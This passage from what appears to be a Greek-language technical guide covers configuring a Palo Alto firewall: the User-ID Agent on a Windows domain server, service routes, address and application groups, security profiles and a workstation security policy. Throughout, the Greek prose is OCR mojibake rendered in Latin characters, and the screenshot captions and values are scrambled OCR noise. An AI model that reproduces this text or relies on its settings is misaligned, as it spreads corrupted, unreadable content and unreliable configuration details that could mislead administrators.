Permissions for Palo Alto Networks X
Securty
Object name:  C:\Program Files (x86)\Palo Alto Networks

Group or user names:

FE]ALL APPLICATION PACKAGES A
[ZJALL RESTRICTED APPLICATION PACKAGES
R CREATOR OWNER

Permissions for PaloAto

UserAgent Alow

Modify &

Read & execute ™

List folder contents ]
M
M

Read
Virite

oK Cancel | | Ay |

Palo Alto

Ewova 102 - [MpooBrikn Tou xpriotn tou agent Ue mANpn SIKALWUATY OTO PAKEAO EYKATAOTAONG

Télog otnv registry tou server oto record “HKEY_LOCAL_MACHINE\Software\

WOW6432Node\Palo Alto Networks” (Ewkova 103) mpocoBétoupe Tov xpniotn “pa_agent” pe

mAnpn Sikawwpata (Etkova 104).

B Registry Editor
File Edt View Favorites Help
v 3 Computer

HKEY_CLASSES_ROOT

5 HARDWARE

& F
=
> Clients
-
% troR
> 0DBC
ol
P

RegisteredApplications

T Classes

Clients
5L Google
oL e

—
Registeredipplications
Sha
> SYSTEM.

HKEY_USERS
HKEY_CURRENT_CONFIG

Harme
35 {Defauk)

Tipe Dita
REGSZ fuahue not set)

Ewova 103 - Registry Editor
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Permissions for Pale Alto Netwarks x

Security

Group or usar nameas:

f'=|ALL APPLICATION PACKAGES -
= Account Unknown(5-1-15-3-1024-1065365536-128 160471

CREATOR OWNER
PaloAlto UserAgent [pa_agent @05 LOCAL)

L€ >
Add... Remawve
Pemmizsions for PaloAlo
— Mow __ Dery
Full Cortrol & O
Read =] O
Special pemissions

For special permissions or advanced settings, Achearscad
cick Advaneed

Lok ][ cmcd || o

Ewova 104 - MpooBrikn Tou xpriotn tou agent Ue mANpn SIKALWUATA OTIG EYYPAPEC TNG registry
AdoU 0AoKANPWOOUUE TIG SLadLlkaoleg e T SIKOLWUOTO UITOPOUUE VO EEKIVI|OOUUE
v edpapuoyn User-ID Agent. Ito menu “Setup” emAéyoupe to “Edit” (Ewkdva 105)
TIPOKELMEVOU  va  UETAPAAOUUE TOV  TPOTEWOHMEVO  Xpnotn. Xtnv  Béon  Ttou
Administrator@ds.local Ba emAééoupe tov pa_agent@ds.local (Ewkova 106). Meta tnv

aAAayn dev Eexvapue va matriooupe “Save” aAAa kat “Commit”.

3 Palo Alto Netwarks User-1D Agent - X
File Help
Save Commit Exit
2 User denvbcaon
seno
Bl M Information Sources he.m for Actve Drectory Admostatore05.L0cA |
£ Monitarig Erabie Secunty Lo Mariter e
i Logs Secity Log Morito Frequency (sec.) 1
5 server Certificate Enabie Server Session Read Ha
ver auency (sec) 0
% seum Movel sDrectory Quary Interval eec.) £
0 ot Devces Endie WM Frobing e
Ensbie Ne'SI0S Frebg ves
WM NeIBICS Probing Interval (min.) »
Enie User Tdentificaton Trmezut Yes
User Identification Trezut (min.) ®
m
Name Acton  From P Addkess To P Adéress
add Edt || Delewe || Cone || Moveup | [MoveDown
Connected

Ewova 105 - Awxdikaoio aAdayng xpriotn agent
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Palo Alto Networks User ID Agent Setup x ,;I_"':::C et e e - *

Authentication | Server Monitor ClientProbing Cache Agent Service eDirectory  Syslog

User name for Active Directory | Pa_agent@DS.LOCAL

Password ‘ srssasane

o ] [ ] -

Ewova 106 - AAMayn xpriotn tou User-1D Agent
Ztnv Ewkova 107 BAEmoupe O0tL o Agent Eekvael we “service”, emopévwg dev xpelaletal

VO TOV EVEPYOTIOLOUME EUELG, AAAQ UTTOPOUE VA TOV OTAUATAUE KOL VO TOV EEKLVALE OTOTE

BeAnooupe.

£l Palo Alto Networks User-ID Agent - x
File Help

o User Identification
/(.‘ s.emp Agent Status
gy Discovery

3 WM Information Sources Agentis running Stop

4 Monitoring
L) Logs Connected Devices

W Server Certificate r

% MDM Integration Device Address Status
i Setup

o[} Mobile Devices

Ewova 107 - O Agent exteleital

Ye nepintwon nou dev Eekvael o Agent epdaviletal punvupa opalpartog. I autn Ty
TEPUMTWON TO MPWTO TIOU KAVOUUE £ival va eAEyEou e €AV TO “service” tou Agent ekteleital
amnod Tov Xprnotn “pa_agent” mou Snuloupynoape otnv evotnta 4.1.1 mapandvw Kal pe Tt
owota credentials. EkklvoUpe tnv KovooAa twv services twv Windows, ypadovtag yla
napadelypa otn ektéleon “services.msc” Ewova 108. Evtomiloupe to “service” pe tnv

ovopooia “User-ID Agent” kat kavoupe Ao click emavw tou.
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% Services
File Action View Help
e mEDcs Bm »enw

B e e eee,LL—-_—-——-—“-“—G—————.———.—.—-——.———————_——.———

User-ID Agent

Start the service

Description:

Palo Alto Networks' User-ID Agent

Name Description Ststus  Startup Type  LogOnAs
4 Superfetch Maintains and impr... Manual Local System

&) Syne Host 17545 This service synchro... Running  Automatic (D Local System
(€} System Event Notification S... Monitors system ev... Running  Automatic Local System
&4 System Events Broker Coordinates executi.. Running Automatic (T... Local System

&) Task Scheduler Ensbles ausertoco.. Running  Automatic Local System
&), TCP/IP NetBIOS Helper Provides support for.. Running  Manual (Tig.. Local Service

& Telephony Provides Telephony .. Manual Network Service
&) Themes Provides user experi..  Running  Automatic Local System
&), Tile Data model server Tile Server fortileu.. Running  Automatic Local System
& Time Broker Coordinates executi.. Running Manual (Trig... Local Service
Enables Touch Keyb... Manual (Tig... Local System
& Update Orchestrator Service... UsoSve

&) Touch Keyboard and Hand...

Manual Local System

4 UPNP Device Host Allows UPnP device... Disabled Local Service

€ User Dats Access_17545¢

& User Experience Virtualizatio...
& User Manager

&) User Access Logging Service  This service logs uni.. Running  Automatic (D.. Local System
Provides spps acces... Manual Local System
€} User Data Storage_17545¢  Handles storage of s... Manual Local System
Provides support for... Disabled Local System

.. Running Automatic (T... LocalSystem

— - o) TR
€ VMware Alias Manager and . . Running  Automatic Local System
& VMware CAF AMQP Com... Manual Local System
£ VMware CAF Management . VMware Common ... Manual Local System
& VMware Physical Disk Help.  Enables support for . Running  Automatic Local System
& VMware Snapshot Provider  VMware Snapshot P... Manual Local System
& VMware Tools Provides support for.. Running  Automatic Local System
€ Volume Shadow Copy Manages and imple... Manual Local System
&) WalletService Hosts objects used ... Manual Local System

Bxtended / Standard /

Ewova 108 - Windows services

ErmAéyoupe to tab “Log On” (Ewkova 109) BAEmOU e OTL O XpOTNG E(VOL O CWOTOC Kall

TIANKTPOAOYOU E TIAAL TOV KWELKO TOU, €AV eV €lval 0 CWOTOG XPOTNG, TOV LETABANOUUE

ETUAEYOVTOG TOV OWOTO. TN CUVEXELO EKKLVOULE TO “service” ek VEou.

User-ID Agent Properties (Local Computer)

Genelal Recovery Dependencies
Log on as:
() Local System account

Allow service to interact with deskiop

(@) This accourt:

Password:

e

Poomn@0s 0L ||| Bamses

Ewova 109 - O xpriotng tou service

OAokAnpwvovtag To TUAHa auto tou User-ID Agent otov Windows Server, BAEmoupe

oto “User Identification” menu, otL €xeL untapéel ouvdeon tou agent pe to Active Directory

Tou server pog (Etkova 110).
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T Pale Alto Netwerks User-ID Agent _ x
File Help

Exit

4 User Identification

2 seup Agent Status

{3 Discovery

B v informanon Sources Agent s running Start Stop

4 Manitoring

Logs Connected Devices

5! server Certficate

&) HoM Integraton Device Address Stabus
Lk sewp

[ mobie Devices

Type Status

Microsoft Actve Drectory

Ewdva 110 - O Agent ouvdéetal atov server
Emeldn €xoupe ndn avoifel kol €va workstation tou domain oto omoio €xoupe
ouvdeBel pe Tov xpriotn “dsl_user”, umopoU e mnyaivovtag oto menu Monitoring va SoUue

Tov Xpnotn auto (Ewova 111). EmutA£ov umapxel kal n IP dtevbBuvon amd tv omola €xel

’ ’
ouvbeBel o xprotng.
‘0l Palo Alto Networks User-ID Agent B »
File Help
Save Commit Exit
&l User Identification
e Setup )
{} Discovery Discavered Users
M Information Sources
‘ Search Clear

i Logs
7 server Certificate 1P Address User

& MOM Integration [] 192.168.2.10 ds\pa_agent

7 Setup [] 192.188.2.21 ds'\ds1_user |
[ Mobile Devices

Ewova 111 - Avayvwplan xpnotwv amo tov Agent
‘Ewg TO onuelo autd €xoupe meploplotel oe puBuioelg mou yivovtal otov Windows
Server kat tov User-ID Agent. AUTO OpwG SeV lval apKETO YL VO UTTOPECOULE VA EXOUE TNV

mAnpodopia mou B€Aou e ota logs tou Palo Alto.
4.1.3. Mapapetponoinon tou Palo Alto yia tov User-ID Agent

ZKOTIOG TNG €VOTNTAC QUTAC €lval va mapapetpomnoljooupe 1o Palo Alto wote va
eTKoVwVel pe tov User-ID Agent mou eykataotrioape pe enituyio otov Windows Server. To
TIPWTO TIOU TIPETEL VA KAVOUWE eival va kabopiooupe to Interface mou 1o Palo Alto Ba

avalntd tov User-ID Agent. E€ oplopoU auto eival to Management Interface, epeic opwg
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€XOUHE Tov Agent oTo €0WTePKO pag Oiktuo, otnv “Trusted” Twvn kot oto Interface

“ethernet1/2".

Yuvdeopaote oto web interface tou Palo Alto, onmw¢ €xou e meplypal el otnv evotnta
3.3, aAAa otnv IP 8ievBbuvon 192.168.2.1 (Ewkova 74). Amo to TAB “Device” emiAéyoupe to
menu “Setup” kal £nelta to tab “Services”. Ito TuRua mou ovopaletal “Services Features”

1

UTtapxeL n emhoyn “Service Route Configuration” tnv omota kat emtAéyoupe (Ewkova 112).

Objects

Ewova 112 - Menu aAAayrig Services Palo Alto

210 enopevo napdbupo mou epdaviletal emAéyoupe “Customize”, omwg PAEMoOuE
otnv Ewkéva 113 n apxikn emloyn eival to “Use Management Interface for all”. 2tn ouvéxela
UTOPOUME va peTaBdaloupe omola umnpecia emBUpoOUuE, yla apadselypa to “Palo Alto

Updates” va yivetat and aAAo interface.

Serv ute Configuration

ice Re ®
e ——

Ewova 113 - Service route configuration

Epag, pog evblédepe amokAelotika n umnpecia “UID Agent” (Etkdva 114) tnv onoia

emAéyou e Katl SnAwvoupe wg “Source Interface” to ethernet 1/2 (Ewkéva 115).
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Use Management Interface for all (8] Customize

P4 IPY6 | Destination

W Service Source Intertace Source Address.
NTF Use default Use default

Use default Use default

Use default Use default

Use default

Ewova 114 - Emtidoyn aAdayrig tou UID Agent

Service  uid-agent

I Source Interface | TERTE

Source Address 192.168.2.1/24

Ewova 115 - AnAwaon véou source interface tou UID Agent

ErunpdoBeta anod to TAB “Network” kat 1o menu “Zones” emhéyoupe tnv “Trusted”

{wvn, Omou gvepyormoloUpe tnv enthoyn “Enable User Identification” (Ewkova 116).

Ewova 116 - Evepyomoinon User Identification otnv Trusted {wvn
Y€ QUTO TO onuelo mpemel va SnAwaooupe oto Palo Alto tnv &tevBuvon tou User-ID
Agent kal Tov TpOmo enikowvwviag Toug. Ano to TAB “Device” emihéyoupe To menu “User

Identification” kal otn ouvéxela oto tab “User-ID Agents” mataue 1o “Add” oTo KATW HEPOG

NG 00dvng (Ewkova 117).
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palozlio

Ewova 117 - Menu ripoodriknc User-ID Agent

Awoape €va ovoua otov Agent, tov ovopaocape “DS_DOMAIN_AGENT”, wg host
opiloape tnv dtevBuvon mou Tpéxel o User-ID Agent, eivat n SteuBuvon tou Windows Server
Tou elval eykateotnuévog, n 192.168.2.10, evw port sivat n €€ optopou, 5007 (Ewkova 118).
Eav petafoupe yla pia akopa dpopa otov User-ID Agent ota windows Ba Soupe otL To port

5007 eival dnAwpévo oto menu “User Identification”, “Setup” (Ewkova 119).

User Identification Agent

name |DS_DOMAIN_AGENT

Host[192.163.2 10
Ponl_suu?[

Collector Name

Collector Pre-Shared Key
Confirm Collector Pre-Shared Key
Use as LDAP Proxy

Use for NTLM Authentication

v Enabled

Ewova 118 - MpooBrikn Agent

T Palle Alte Netwarks User-ID Agent
File Help

1 tea
Sebup
) WM Information Sources: L UserID Service TCP Port —s007]
4 Monitoring ‘Enable User-ID XML APT ]
L Logs User-ID XML AP1 TCP Port 5006
i Server Certificate Endble Syalog Service [
6.3 MOM Integraten Syslag TCPIDP Pert 514
B s Novel eDrectory Search Base
— Mokie Novel eDirectory ind Distinguished Name

Ewova 119 - To port yla tnv emikowvwvio
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Metd to téAog tn¢ Stadikaciag mpooOnkng Ba mpénel va epdaviobei o Agent oto Palo
Alto pe status “Connected” onw¢ ¢aivetal otnv Ewova 120. Autd onpaivel OtL UTIAPXEL

emkowvwvia tou User-ID Agent ota windows e to Palo Alto.

pa lo ‘ Dashboard  ACC Monitor  Policies  Objects  Network

(I8 user ideniification

Ewova 120 - Erttuync ouvdean tou Agent

@ TéAog yla va BeBatwbBolpe pmopolpe va dovupe and to TAB “Monitor” oto menu
“Logs” kal peta “System” OAeg t1g eyypadég cuotpatos. Metafld aAwv evtomilou e Kat
QUTEG pHe Type “userid”. MaALota, yla va elpaoTte olyoupol, otapatioape yia Alyo tov Agent
ota windows KoL TOV €mMOVeKKivnoape. AUt n Kivnon €xel amotunwBel pe akpifela ota

ouykekplpéva logs (Etkova 121).

aloalto
m p Dashboard ACC Policies Objects Network Device
v f 3 Logs
1'7. Traffic 2
@ Threat Receive Time Type Severity Event Object Description
(@ URL Fitering 2129 13:44:31 ernd informational ect-agent et 183 TER 0 S v

@\, WildFire Submissions
{3 oata Filtering

8 HIP Maich

% Configuration

[-; System

B Alarms

IS unified

“~RadkaLianug

qenernl TISeT ATMIN ACCESSed WONTOT (AN

eneral Cox b ceeded er admir

Ewova 121 - System Logs, Agent is functional
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5. MoAwtkég aodpaleiag Palo Alto

To kedaAato autod Ba umopouoe va ATOV EVTOYUEVO 0TO KEQAAALO 4, ETUAEEQUE OUWC
VOl TO TIAPOUGCLACOULE WG AVEEAPTNTO, KABWG N CUYKEKPLUEVN TIOPAETPOTIOLNON UTTOPEL VO
yivel kat xwpic tv umapén domain. Epeic¢ edw Ba TO MAPOUCLACOUUE WE CUVEXELA TNG

nopapetpornoinong tov domain.

‘,_@CZE nepintwon ulomoinong ektdg Domain Ba mpénel va vAomownBsl o DHCP server

OMwg otnv evotnta 3.5.7.

2TO OEVAPLO TIOU £XOUE TUAEEEL TTPpOG UAOTIOLNGN, OL XPNOTEC Tou SIKTUOU Ba mpEmel
va €xouv poéoPaocn otig untnpeoieg HTTP, HTTPS, OUTLOOK WEB kat Spotify. EmutAéov Ba
TIPETIEL VO UTTAPXEL €va eminedo aodaleiog mou Ba SLAKOMTEL T oUVOeon o€ mepimtwon

ovayvwpLong amnetinc.

Mpokelpévou va uTtapéel pla 600 To Suvatd KaAutepn mopapeTponoinon mou Ba
elval kot gukoAn otn Slaxeiplon tng, to Palo Alto yxpnowuomolel Groups. Mpokeltal yla
opadomoinon OVTLKELULEVWYV TOL OTIOLOL OTN CUVEXELQ UTTOPOULE VA AVABECOUE OE TIOALTLKEG.
Epeic xpnowornouwoape ta Address Groups, ta Application Groups, ta Service Groups Kot T
Security Profile Groups (Etkova 122). OAa ta Groups Tou XpnoLUomolocaue Bplokovtal oTo

TAB “Objects” tou Palo Alto web interface.

Sy Addresses

%9 Address Groups l

Regions

3 Applications

T ~ e
U J Application Groups

—
= Application Filters
e Services

I R Service Groups '

Tags
p @ GlobalProtect

@ External Dynamic Lists
p BCuirom Objects

b (F security Profiles

I US Secunty Profile szmal

2 Log Forwarding
¥ Decryption Profile

{2 Schedules

Ewkova 122 - Object Groups
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5.1.Address Groups

ApxKa Snuoupyoupe to Group Twv SleuBuvoswv IP. Exoupe povo pia opadormnoinon
Twv SleuBuvoewv Twv workstations amd tnv 192.168.2.20 £wg tnv 192.168.2.200. Ao to TAB
“Objects” emAéyoupe to menu “Address Groups” kat matape tnv emmloyn “Add” oto KATw

HEpog Tn¢ 066vn¢ (Eltkova 123).

M paloalic

Ewova 123 - [MpooBrikn Address Group

Ovopadooape to véo group SteuBuvoewv “Workstations” kot B€cajle TOV TUTIO TOUG WG
“Static” (Ewkova 124). 3tn ouvéxela matwvtag to “Add” oto KAtw PEPOG Tou Tapabupou
dnuloupyol e €va véo range SlteuBuvoewv IP, To ovopdcape “WS_HQ” kal SNAWCOUE TLG

SleuBuvoelg amo 192.168.2.20 €wg 192.168.2.200 (Ewkova 125).

Name [WorkStations

Description
Type lSmn: vI
-

Ewova 124 - Ovouaoio Address Group
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Name WorkStations

'i'y: 168.2.20-192.168.2.200
Lo OO IOD o e taeh

v

B Browse €3 Add (@ Delete

Ewova 125 - [MpoaBrkn range Stevduvoswv

5.2.Applications Group

ATO TA TILO GNUAVTLIKA XAPaKTNPLOTLKA Tou Palo Alto elval n duvatotnta avayvwpLong
Kall KatnyopLlomoinong epapuoywv. E¢akohouBol e va Bplokopaote oto TAB “Objects” kait
emAéyoue To menu “Applications”. ESw pmopoupe va Bpolue OAeC TG edappoyECG TTOU
avayvwpilel To Palo Alto opyavwuéveg oe Katnyopieg, Ymokatnyopieg, Texvoloyia mou
Xpnotuomnolovyv, Pioko, Xapaktnplotika (Ewova 126). Mag napéxetal eniong n Suvatotnta

avalTtnong eVw N KOTNyopLomoinon elvat Kot LepapyLKkn.

i
{
5
3
5

] ls
TEFEEY

-A-R-0-R-N-H-H B

CR-R-0 -0

e EEER

Ewova 126 - Applications
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Ac doUpe otnv TIG TANpodopLeg TOU pag TTAPEXEL LA pLa epapuoyr) Tou BEAOUUE va
elval mpooBaoiun amnd toug xpnoteg, to “Spotify” (Etkdva 127). Yrdpxouv mAnpodopieg yia
TO ports Tou XpnoLlUomolel n edappoyr, yo TG ePpopUoyEC TTOU €lval amapaitnteg va
gvepyonolnBolv wote va doulelel Kal To Spotify, yla Ta XapaKTNPLOTIKA TOU KoL ylo TV

KatnyopLomoinon mou €xet Kavel n Palo Alto w¢ mpog tnv edpappoyn auTy.

Description:  Spotify is a commercial music streaming service providing DRM-protected content from a range of major and

record labels, including Sony, EMI, Wares Music Group and Universal, Spotify uses peer o peer transers
10 supplement the bandwidth available for streaming directly from their own servers.

‘Standard Ports: _1cp/80,dynarmic, udp/'57621
Implicitly Uses:
Deny Action:  drop-reset

Characteristics Classification

Evasive: media

Excessive Bandwidth Use:
Used by Malware:

Capable of File Transfer:
Has Known Vulnerabilities:
Tunnels Other Applications:

Subcategory:
Technology:
Risk:

Options.

audio-streaming

chent-server

TCP Timeout (seconds):
UDP Timeout (seconds): 30

Prone to Misuse:

Widely Used:

§8323§8237%F %

TCP Half Closed (seconds):
TCP Time Wait (seconds): 15
App-ID Enabled:

Ewova 127 - [MTAnpogopiec epapuoyric Spotify

Juveyiloupe TNV Mapapetponoinon oto menu “Application Groups”. EmiAéyoupe va
Snuloupynooupe éva véo group matwvrag to “Add” oto katw HEPOG TG 00dvng Kal To
ovopaloupe “WS_Apps” (Ewkova 128). Matdpe oto véo mapdbupo tnv emloyn “Add” yia va

npocBéooupe epapLOYEC.

I Name |WS_Apps I

e o0
W | Apphcations

M Browse £ Ad @

wEPoeTEa

Ewova 128 —MpoaVvrkn Application Group
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1o véo mapdbupo mpooBEtoupe TG edapuoyEG mou embupovpe (Ewkova 129).
ErmtiAéyoupe petafl alAwv to Spotify xwpic va emAé€oupe Kal TIg anapaitnTeg epaAPUOYES
yla Tnv Aettoupyia tou mou avadépovtat otnv Ewova 127. Metd 1o T€A0G TNG MPoodnkng
emNéyoupe va matriooupe to “Commit”, Sev exvaue OTL €lval amopaltnto woTte va

KataxwpnOel kabBe aAlayn).

Application Group

Name |WS_Apps|
Q oo
M | Applcations
[F] outiook-web
outlook-web-online [F] outiook-web-online
web-browsing ] web-browsing
V] spo 1 spotity
Application
hotspot-shield
hubspot
jotspot-editing
modbus-encapsulated-transport
==
= | )
spotnet

Ewova 129 - MpoaBrikn Applications ato group

To Palo Alto €€attiag tou “AaBoug” mou €xoupe Kavel Ba epdavicel To LAVULA TTOU
daivetal otnv Ewova 130. To Status eivar “Completed”, to Result eivatr “Successful”.
Yndpxouv OpwE KATIOLEG TPOELSOMOLNoeLl. Onwe dailveTal KATIOLEG Ao AUTEG adpopouUV OTo
Spotify kat 0TI anapaitnteg epapUoyEG Tou amattouvral ylao va SouAéPeL auto, To “rtmp”
kKat to “ssl”, to “web-browsing” 1o €xoupe TPooBEcEL yla AUTO Kol eV UTIAPXEL

T(POELSOTIOLNTLKO UVU QL.

Operation Commit
Status Completed
Result Successhul
Details Configuration committed successtully

“Tomp’
Apphcation ‘spotify’ requires ‘ss’ be allowed
Apphicanon ‘outiook-web’ requires 'ssi’ be allowed
Application ‘outiook-web-online’ requires ‘ms-office365-base’ be allowed
Applicaton ‘outiook-web-oniine' requires ‘sst be allowed

Ewova 130 - Eupavion opaluatog kat odnyieg 5t16pdwang
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MNpooBEtoupe TIC £dAPUOYEG TIOU aAmaltoUvTal Kol OAEC ol mpoeldomolioel; Ba
e€adavioBouv. H dnuioupyia tou Application Group pe ovopa “WS_Apps” €xet ohokAnpwOel
He emtuyio. Xprowuo ivat va mpoocBécoupe kat to Application “DNS” el81kd otnv mepintwon
mou 8ev uTtdpxel eowTtePlkOg DNS server. Epeic edw, onweg Ba dovpe otnv evotnta 5.5
TOPOKATW, Snuloupynoape emuTAéov TOALTIK yla tov Domain Server xwpi¢ kavéva

TLEPLOPLOUO ota Applications.
5.3.Security Profile Groups

Amo TO TIO ONUOVTIKA OnUEila TNG MOpapeTpomoinong eivat o kaBoplopog tng
aodpalelac tou Palo Alto. E€akohouBoupe va epyalopacte oto TAB “Objects”. ta menus
Bpiokoupe To “Security Profiles”. Autd mou pag evdiadépouv edw® ival ta Antivirus, Anti-

Spyware, Vulnerability Protection, URL Filtering kat WildFire Analysis.

v (W Security Profiles |

a Antvirus

S Anb-Spyware

¥ Vulnerab lity Protectios
.ﬂ.lll'.:; Filtering

R File Blocking
A, WikdFire Analysis

% Data FiRering

Ewova 131 - Security Profiles
ErAéyovtag kaBe €va amod autad, UMopPoUE VO SOUE TLG TPOKABOPLOUEVEG TIUEG TOU
Palo Alto kat tnv mpokaBoplopévn cupnepldopad. 2to Antivirus, urtdpxetl n Default moAwtikn
(Ewova 132), otnv omoia avaloya Ue To onuelo ou Ba eVIOMLOTEL N amelAr), evepyomnoleital

N QVTLOTOLYN TPOOTACLA TTOU UTOPEL va elvat n SLOKOTH TNG EMIKOWVWVLOG N €va alert.

Packet Threat
Name Location Name Action WildFire Action Name Action
Capture Exceptions

Ewkova 132 - Antivirus Default

10 ¢ File Blocking kou Data Filtering eivat e§loou onpavtikd aAAG eTAEEQLE VAL NV TA XPNOLULOTIOL|COUE ESW.
Y10 File Blocking pmopoUpe va kaBopicoupe TUTIOUG OpXEiwV TLY. exe, scr, vbe Tou Sev Oa emitpEneTe n
kukhodopia toug. To Data Filtering xpnowuomoteitatl ywa tnv mpootacia €uaicONTwv Kol EUMIOTEUTIKWY
TIANPOodOPLWYV HE TNV Xpron patterns m.X. aplOUOL TOTWTIKWY KAPTWV.
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210 Anti-spyware umdapyxouv U0 TOALTIKEG (Ewkova 133). H “strict” pag mapéxel éva
eTunAéov eninedo aopdalelag KaBwG yla T XaUnAoU ploKou AmelAEG UTIAPXEL LOVO €va

“alert” aAAG yla T utOAouta cUUBAVTA SLAKOTITETAL N ETILKOLVWVLA.

DNS Packet

Name Location Count Rule Name Threat Name Severity Action Packet Capture Capture

Ewova 133 — Anti-spyware

To enopevo nou untapxel eival to Vulnerability Protection (Ewkova 134). Yrtapxouv Kot
€6w Suo TMOALTIKEG. H strict Snuoupyel €va alert yia anmel\ég xapunAng eMkvéuvotnTag, EVW

YLQL TLG UTTOAOUTEC SLOKOTITEL TNV ETILKOLVWVLAL.

Name Location Count Rule Name Threat Name Host Type Severity Action Packet Capture

Ewova 134 - Vulnerability Protection
To URL Filtering, mou cuvaVTAWE OTN CUVEXELQ XPNOLLOTIOLELTOL YLO TOV QTTOKAELOUO 1
UN LoTooeA bWV TIOU EVTACOOVTOL O KAToLa amod TIG Katnyopieg tou Palo Alto. Ynapyel yla
napadelypa n katnyopia “gambling” (Ewkova 135) o€ autég mou Sev emutpénovral kal ehpooov
To action eival “block”, dev Ba emutpanel n mpdoPacn oTig LotooeAiSeg ou €xouv evtoyOel

O€ QUTA TNV Katnyopia.
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tion for Block
Name Location Block List :‘m Block pow List Allow Categories Alert Categories [Block Categories fontinue Categories Override Categories

V|| defautt Predefined block. abortion labused-drugs
alcohol-and-tobacco ladult
auctions lgambiing
business-and-economy hacking
computer-and-intemet imatware
info
content-delivery-networks Iphishing
dating [questonable

e more

Ewova 135 - URL Filtering

Téhog, umdpxel to Wildfire Analysis (Ewikova 136) To omoilo pmopel va mpowOroet

ayvwota apxeia i links oto public cloud tn¢ Palo Alto yia avaAuon.

Rule Name Applications File Types Direction Analysis

Ewova 136 - Wildfire Analysis

OAe¢ oL mMOpAMAVW TOALTIKEC UImOpoUV va tpomomolnfolv, aAAd UmOopoUUE va
pooBEooupe Kot SIKEG HaC oo TNV ap)xr), AvAAoya LE TIC avAayKeC pag. Exovtag katavoriost
TIC Aettoupylag koBevog amod ta mopandavw TPodiA UMOPOULE va TPOXWPICOUKE OTN
dnuwoupyia tou Security Profile Group. Ano to menu “Security Profile Groups” emiAéyoupe to
“Add” oTo KATW HEPOG TNG 000VNG. ITn OUVEXELD OVOUA{OUUE TO VEO group, €UELC TO
ovopacape “WS_Security_Settings”, kal emAéyoupe omolo amnod ta Stabéatpa mpodiA f anod
Ta VEa MpodiA oU pmopel va £xoupe dnuloupynosl yla KABs pla amd tig Slab£olueg

npootaoieg (Ewkova 137).

B palo Dusbboard  ACC_ Menitor __Polcies H Network __ Device

-
e

Security Profile Group

Name |WS_Security_Settings

Anvitus Profile  default
Anti-Spyware Profile  strict
Vulnerability Protection Profile strict
URL Filtering Profile defau
File Blocking Profile None

Data Filtering Profile None

NEHEKHENEHENK

WildFire Analysis Profile defaul

Ewova 137 - Anutoupyia Security Group

5.4 Evnuépwon twv Signatures

Xproluo eival oto onpeio auto va MPOXWPENCOUE OTNV EVNUEPWON TWV signatures

Tou Antivirus kat Twv Applications and Threats. Ané to TAB “Device” emiAéyoule TO menu

SeAiba 83 armd 103



Palo Alto

“Dynamic Updates” (Ewova 138) kat matape tv enthoyn “Check Now” oto KATw HEPOG TNG
0006vne. Edodoov umdpyel véo meplexopevo Ba epdavioBel n ermthoyn “Download” oto kABe

module.

Ewova 138 - Dynamic Updates
MNatape tnv enthoyn “Download” oe kaBe module kot HeTA TNV OAOKARPWON TNG
ANPNg Twv evnuepwoewv (Etkova 139), Ba epdavioBel n emhoyn yla EyKOTACTACH TOUG OTNV

otnAn “Action” onwg¢ ¢aivetal otnv Etkova 140.

Ewova 139 - Anyin evnuepwoewv

Version File Name Feanwes Type Size  Release Date Downloaded  Currendy Installed  Action Documentation

' Applications and Threats Last checked: 20701029 145952 EEST  Schedule: Every Wednesday at 01:02 (Downioad only)

8254-6028 panupv2-all-contents-8254-6028 Apps, Thieats Full S0MB 2020/03/27 02-06-20 EET

 GlobalProtect Data File Schedule: None

 WildFire Last checked: 2

410621-843265  panupv2-all-wik

Ewkova 140 - Ertidoyn eykataotoonG Twv EVAUEPWTEWYV
MeTd to TEA0G TNG SLadLlkaciog UTIAPXEL EVOELEN OTL N EVNUEPWON ATOV ETILTUXAG, EVW
BAEMou e TNV €kSooN TwV signatures, og cUVOUACWO HE TO HEYEOBOC TOUG KAl TNV NUEPOUNVIA
G ékdoong (Ewkdva 141).
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Version File Name Features Type Sze  Release Date Downloaded  Curtently Installed  Action Documentation

v v

v v

Ewova 141 - ETUTUYNUEVN EYKATAOTAON EVNIUEPWOEWY

5.5.Anpoupyla vEag TMOALTIKNAG

Metd tnv oAokAnpwaon NG dnuloupyilag Twv groups mou avadEPovTal OTIG EVOTNTEG
5.1, 5.2 Kal 5.3 PmopoUHE TTAEOV VAL ETOLUACOUE TNV VEQ HaG TTOALTLKA TTou Ba cuvdualetl OAa
OUTA TIOU €£XOUME SNULOUPYNOEL Kl £XOUV KOBOPLOTEL OO TIG OTTALTIOELG TOU OPYQVIOUOU.

MetaBaivoupe oto TAB “Policies” oto menu “Security” Kot ETOLUAIOUUE TN VEA LLOC TTOALTLKN.

Mpwv TPOXWPNOOUUE OLAMIOTWVOUHE OTL €6W UTIAPXEL N TIOALTIKN TOU Elyape
dnuwoupynoesl otnv evotnta 3.6.2, pe 1o ovopa “IN_TO_OUT Allow All” (Ewoéva 142).
ErtiAéyoupe TNV MOALTIKA Kal TaTAUE TtV emthoyr “Disable” oto kdtw pépog TG 086vNnG. 2N
OUVEXELX TaTApe tnv emiloyn “Add” ywo va mpoxwpriooupe otn &nuloupyia VEag,

akoAouBwvtag tn Stadikacia mou neplypaape otn evotnta 3.6.2.

2 palo

Dashboard  ACC Monitor Objects  Network  Device |

1
\

Ewkova 142 - Alevepyomoinaon mtponyouUEVNG TTIOALTIKIG

Ovopaloupe TNV MOALTkn pog “WS” (Ewova 143), oto tab “Source” dnAwvouue to
group Twv OleuBuvoeswv twv workstations mou €xoupe ovoupdoel “Workstations” (Ewkova
144) otnv evétnta 5.1, oto tab “Applications” SnAwvoue To group MOU €XOULE OVOUAOEL

“WS_Apps” (Ewikova 145) otnv evotnta 5.2, oto tab “Service” emiAéyoupe to “application-
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default”!! (Ewkova 146) kat té\og oto tab “Actions”, oto Profile Setting emiAéyoupe Thv TIUA
tou Type va eivat “Group” kat oto Profile to “WS_Security_Settings” (Ewkéva 147) ano tnv

evotnta 5.3.

| Name s

Rule Type universal (detault)
Description

Ewova 143 - H véa moAwtikn twv Workstations

Garpral User | Destination | Application | Service/URL Category | Actions

(] Negate

Ewova 144 - Evraén twv Workstations oto Source Address

General | Source | User | Destination | Application | Service/URL Category | Actions

Ewova 145 - Evtaén twv Applications

1 ue autd To TPOTO EMLTPENOUUE ota application ou éxoupe emAEEEL va xpnotpomnoticouy dAa Ta amapaitnta
ports yLa tn Aettoupyia Toug
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General | Source | User | Destination | Application | Service/URL Category

Ewova 146 - Evraén twv Services

User | Destination | Application | Service/URL Category

Action Setting Log Setting

IAclinn Allow - | ¥ Log at Session Start
Send ICMP Unreachable /| Log at Session End
Log Forwarding  None v
Profile Setting Other Settings
Profile Type Group v Schedule None
